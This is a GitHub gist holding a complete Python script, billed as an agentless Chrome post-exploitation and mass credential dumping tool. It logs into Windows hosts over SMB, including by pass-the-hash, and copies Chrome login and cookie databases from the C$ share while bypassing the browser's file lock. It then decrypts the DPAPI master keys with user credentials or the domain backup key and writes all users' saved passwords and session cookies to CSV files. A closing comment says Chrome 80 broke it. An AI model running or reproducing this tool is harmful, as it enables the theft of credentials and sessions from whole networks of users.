Skip to content

Instantly share code, notes, and snippets.

@3xocyte
Last active February 8, 2021 10:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 3xocyte/8f22648c6d416cf674b88c410c10e79b to your computer and use it in GitHub Desktop.
Save 3xocyte/8f22648c6d416cf674b88c410c10e79b to your computer and use it in GitHub Desktop.
agentless Google Chrome post-exploitation script
#!/usr/bin/env python3
# by Matt Bush (@3xocyte)
import os
import sys
import logging
import argparse
import traceback
import time
import sqlite3
import binascii
import csv
import datetime
from Cryptodome.Cipher import AES, PKCS1_v1_5
from Cryptodome.Hash import HMAC, SHA1, MD4
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SMBConnection
from impacket.uuid import bin_to_string
from hashlib import pbkdf2_hmac
from impacket.dpapi import MasterKeyFile, MasterKey, DomainKey, DPAPI_BLOB, PRIVATE_KEY_BLOB, DPAPI_DOMAIN_RSA_MASTER_KEY, PVK_FILE_HDR, privatekeyblob_to_pkcs1
logger.init()
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py
def derive_keys(sid, password, is_hash = False, sha1 = None):
# Will generate two keys, one with SHA1 and another with MD4
logging.debug("deriving keys")
if is_hash == True:
if sha1 is not None:
key1 = HMAC.new(binascii.unhexlify(sha1), (sid + '\0').encode('utf-16le'), SHA1).digest()
logging.debug("deriving key from sha1 key: %s" % sha1)
logging.debug("key1 derived from sha1 key: %s" % binascii.hexlify(key1))
else:
logging.debug("no SHA1 key provided")
key1 = b''
key2 = HMAC.new(binascii.unhexlify(password), (sid + '\0').encode('utf-16le'), SHA1).digest()
logging.debug("key2: %s" % binascii.hexlify(key2))
tmpKey = pbkdf2_hmac('sha256', binascii.unhexlify(password), sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
else:
key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
logging.debug("key1: %s" % binascii.hexlify(key1))
key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest()
logging.debug("key2: %s" % binascii.hexlify(key2))
# logging.debug("key1 derived from sha1 key: %s" % binascii.hexlify(key1))
# For Protected users
tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000)
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]
logging.debug("key3: %s" % binascii.hexlify(key3))
return key1, key2, key3
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py
def decrypt_masterkey(sid, password, masterkeyfile, is_hash = False, sha1 = None):
dpapiSystem = {}
fp = open(masterkeyfile, 'rb')
data = fp.read()
mkf= MasterKeyFile(data)
data = data[len(mkf):]
fp.close()
if mkf['MasterKeyLen'] > 0:
mk = MasterKey(data[:mkf['MasterKeyLen']])
data = data[len(mk):]
key1, key2, key3 = derive_keys(sid, password, is_hash = is_hash, sha1 = sha1)
decryptedKey = mk.decrypt(key3)
if decryptedKey:
logging.debug("using key3")
return decryptedKey
decryptedKey = mk.decrypt(key2)
if decryptedKey:
logging.debug("using key2")
return decryptedKey
decryptedKey = mk.decrypt(key1)
if decryptedKey:
logging.debug("using key1")
return decryptedKey
logging.error("unable to decrypt masterkey")
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py
def decrypt_with_domainkey(domainkeyfile, masterkey, user):
fp = open(masterkey, 'rb')
data = fp.read()
mkf= MasterKeyFile(data)
data = data[len(mkf):]
if mkf['MasterKeyLen'] > 0:
mk = MasterKey(data[:mkf['MasterKeyLen']])
data = data[len(mk):]
if mkf['BackupKeyLen'] > 0:
bkmk = MasterKey(data[:mkf['BackupKeyLen']])
data = data[len(bkmk):]
if mkf['CredHistLen'] > 0:
ch = CredHist(data[:mkf['CredHistLen']])
data = data[len(ch):]
if mkf['DomainKeyLen'] > 0:
dk = DomainKey(data[:mkf['DomainKeyLen']])
data = data[len(dk):]
pvkfile = open(domainkeyfile, 'rb').read()
key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
private = privatekeyblob_to_pkcs1(key)
cipher = PKCS1_v1_5.new(private)
decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
if decryptedKey:
domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey)
key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']]
logging.debug('decrypted key for user %s: 0x%s' % (user, binascii.hexlify(key).decode('latin-1')))
fp.close()
return key
def get_login_data_file(share, smb_client, username):
login_data_location = "users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
db_filename = username + "_logins.bin"
fh = open(db_filename,'wb')
try:
smb_client.getFile(share, login_data_location, fh.write, 0x03) # SMB_ACCESS_EXEC bypasses the read lock if Chrome is open
logging.debug("got Chrome Login Data file (%s)" % db_filename)
fh.close()
return db_filename
except:
fh.close()
os.remove(db_filename)
logging.debug("didn't get %s" % login_data_location)
return None
def get_cookie_file(share, smb_client, username):
cookie_data_location = "users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
db_filename = username + "_cookies.bin"
fh = open(db_filename,'wb')
try:
smb_client.getFile(share, cookie_data_location, fh.write, 0x03) # SMB_ACCESS_EXEC bypasses the read lock if Chrome is open
logging.debug("got Chrome Cookies file (%s)" % db_filename)
fh.close()
return db_filename
except:
fh.close()
os.remove(db_filename)
logging.debug("didn't get %s" % login_data_location)
return None
def get_user_sid(smb_client, share, username):
sid_dir_location = "users\\" + username + "\\AppData\\Roaming\\Microsoft\\Protect\\*"
user_sid = ''
try:
for f in smb_client.listPath(share, sid_dir_location):
fname = f.get_longname()
if "S-" in fname:
user_sid = fname
logging.debug("found user sid: %s" % user_sid)
break
if user_sid == '':
logging.debug("failed to find user sid")
return ''
else:
logging.debug("got sid for user %s: %s" % (username, user_sid))
return user_sid
except Exception as e:
logging.debug("couldn't get user sid: %s" % e)
return ''
def get_masterkey_file(share, smb_client, username, guid, user_sid):
masterkeyfile_location = "users\\" + username + "\\AppData\\Roaming\\Microsoft\\Protect\\" + user_sid + "\\" + guid
logging.debug("master key file location: %s" % masterkeyfile_location)
fh = open(guid,'wb')
try:
smb_client.getFile(share, masterkeyfile_location, fh.write)
logging.debug("got master key file %s" % guid)
fh.close()
return True
except:
fh.close()
os.remove(guid)
logging.debug("didn't get %s" % masterkeyfile_location)
return False
def get_masterkeyfile_guid(database_filename):
try:
conn = sqlite3.connect(database_filename)
cursor = conn.cursor()
cursor.execute('SELECT password_value FROM logins')
data = cursor.fetchall()
password_blob = data[0][0]
blob = DPAPI_BLOB(password_blob)
conn.close()
return bin_to_string(blob["GuidMasterKey"])
except:
return None
def read_creds(database_filename, key, user, target):
conn = sqlite3.connect(database_filename)
cursor = conn.cursor()
creds_fields = ['origin_url', 'action_url', 'username_element', 'username_value', 'password_element', 'password_value', 'date_created' ]
cursor.execute("SELECT %s FROM logins" % ",".join(creds_fields))
data = cursor.fetchall()
if len(data) > 0:
creds_output_filename = target + "_" + user + "_creds.csv"
with open(creds_output_filename, 'w', newline='') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(creds_fields)
for result in data:
result = list(result)
url = result[1]
username = result[3]
password_blob = result[5]
blob = DPAPI_BLOB(password_blob)
decrypted = blob.decrypt(key)
# "in-place"
result[5] = decrypted
print("[%s] %s\t%s\t%s\t%s" % (target, user, url, username, decrypted))
result[6] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[6])
writer.writerow(result)
conn.close()
def read_cookies(database_filename, key, user, target):
conn = sqlite3.connect(database_filename)
cursor = conn.cursor()
cookie_fields = ['creation_utc', 'host_key', 'name', 'value', 'path', 'expires_utc', 'last_access_utc', 'has_expires', 'priority', 'encrypted_value']
cursor.execute("SELECT %s FROM cookies" % ",".join(cookie_fields))
data = cursor.fetchall()
if len(data) > 0:
logging.debug("found %s cookies" % len(data))
cookie_output_filename = target + "_" + user + "_cookies.csv"
with open(cookie_output_filename, 'w', newline='') as csvfile:
writer = csv.writer(csvfile)
# convert tuples to list for "in-place" changes
header = list(cookie_fields)
header[9] = 'decrypted_value'
writer.writerow(header)
for result in data:
result = list(result)
value_blob = result[9]
blob = DPAPI_BLOB(value_blob)
decrypted = blob.decrypt(key)
result[9] = decrypted
# Convert timestamps
result[0] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[0])
result[5] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[5])
result[6] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[6])
writer.writerow(result)
conn.close()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "Mass Chrome credential dumping tool by @3xocyte")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
password_group = parser.add_mutually_exclusive_group()
password_group.add_argument('--nt', action="store", default='', help='user nt hash (instead of password)')
password_group.add_argument('-p', '--password', action="store", default='', help='valid password')
parser.add_argument('--sha1', action="store", default=None, help='user sha1 hash (optional, to use with PtH)')
parser.add_argument('--domain-key', help='domain backup private key file') #use dpapi.py or Mimikatz with correct FQDN specified to retrieve it
parser.add_argument('--target-file', action="store_true", default=False, help='target is a file full of targets')
parser.add_argument('--cookies', action="store_true", default=False, help='dump cookies to target_username_cookies.csv')
parser.add_argument('--debug', action="store_true", help='debug mode')
parser.add_argument('target', help='ip address or hostname of target (if --file is specified, a file containing one hostname/IP address per line)')
if len(sys.argv) == 1:
parser.print_help()
print("\nexamples: ")
print("\n\tdump creds and cookies for a given user from a single target")
print("\t./chromedump2.py -d <domain> -u <username> -p '<password>' --cookies 192.168.1.12")
print("\n\tdump creds and cookies for a given user from a single target using an NT hash and a SHA1 key")
print("\t./chromedump2.py -d <domain> -u <username> --nt <nt hash> --sha1 <sha1 key> --cookies 192.168.1.12")
print("\n\tdump creds and cookies from a list of targets using the domain backup key")
print("\t./chromedump2.py -d <domain> -u administrator -p '<password>' --domain-key 'backup.pvk' --target-file --cookies target_list\n")
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
domain = options.domain
username = options.username
password = options.password
pvk = options.domain_key
target_file = options.target_file
cookies = options.cookies
targets = []
if options.nt:
nthash = options.nt
lmhash = '0'
is_hash = True
logging.info("using hash to login")
else:
nthash = ''
lmhash = ''
is_hash = False
if options.sha1:
sha1 = options.sha1
else:
sha1 = None
if password == '' and nthash == '' and lmhash == '':
from getpass import getpass
password = getpass("password:")
# are we hitting a single target or a file of targets?
if target_file:
tf = open(options.target, "r")
target_list = tf.readlines()
tf.close
targets = list(map(str.strip,target_list))
else:
targets = [options.target]
if pvk:
logging.info("domain backup key provided, dumping Login Data for all users on %s target(s)" % len(targets))
for target in targets:
# do smb login
try:
smb_client = SMBConnection(target, target)
smb_client.login(username, password, domain, lmhash, nthash)
share = "C$"
smb_client.connectTree(share)
logging.info("connected to %s using provided credentials" % share)
except Exception as e:
logging.error("failed to connect to %s" % target)
logging.error(e)
continue
# getting all users from a machine
if pvk:
users = []
# first list everything in c:\users, for our users
users_dir = "users\\*"
for u in smb_client.listPath(share, users_dir):
uname = u.get_longname()
if uname == "." or uname == "..":
pass
else:
if u.is_directory():
users.append(uname)
logging.info("found %s users on %s, dumping available creds..." % (len(users), target))
data_files = {}
for u in users:
logging.debug("getting database for %s" % u)
# get the chrome database, at a fixed location
data_filename = get_login_data_file(share, smb_client, u)
if data_filename:
data_files[u] = data_filename
logging.debug("got %d users' Login Data files" % len(data_files))
# get the user's SID from their AppData directory
for user, value in data_files.items():
user_sid = get_user_sid(smb_client, share, user)
user_guid = get_masterkeyfile_guid(value)
if user_guid:
logging.debug("user %s master key file is %s" % (user, user_guid))
# get the user's SID from their AppData directory, used for the master key file path and to decrypt the key
if get_masterkey_file(share, smb_client, user, user_guid, user_sid):
key = decrypt_with_domainkey(pvk, user_guid, user)
read_creds(value, key, user, target)
# cookies...
if cookies:
cookie_filename = get_cookie_file(share, smb_client, user)
if cookie_filename:
read_cookies(cookie_filename, key, user, target)
else:
logging.debug("failed to get guid")
smb_client.close()
# get one user's creds
else:
logging.info("getting Chrome Login Data for %s from %s" % (username, target))
# first get the chrome database
try:
data_filename = get_login_data_file(share, smb_client, username)
if data_filename:
logging.debug("got %s's Chrome Login Data file (%s)" % (username, data_filename))
# get the user's SID from their AppData directory, used for the master key file path and to decrypt the key
sid = get_user_sid(smb_client, share, username)
user_guid = get_masterkeyfile_guid(data_filename)
if user_guid:
logging.debug("user %s master key file is %s" % (username, user_guid))
if get_masterkey_file(share, smb_client, username, user_guid, sid):
if is_hash == True:
password = nthash
logging.debug("set 'password' to %s" % password)
key = decrypt_masterkey(sid, password, user_guid, is_hash = is_hash, sha1 = sha1)
if key is not None:
logging.debug('decrypted key for user %s: 0x%s' % (username, binascii.hexlify(key).decode('latin-1')))
read_creds(data_filename, key, username, target)
# cookies...
if cookies:
cookie_filename = get_cookie_file(share, smb_client, username)
if cookie_filename:
read_cookies(cookie_filename, key, username, target)
else:
logging.info("failed to decrypt master key")
else:
logging.error("couldn't extract master key file GUID from the Login Data DB")
except Exception as e:
logging.error("general failure: %s" % e)
smb_client.close()
if __name__ == "__main__":
main()
@3xocyte
Copy link
Author

3xocyte commented Feb 8, 2021

This script was broken by the release of Chrome version 80.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment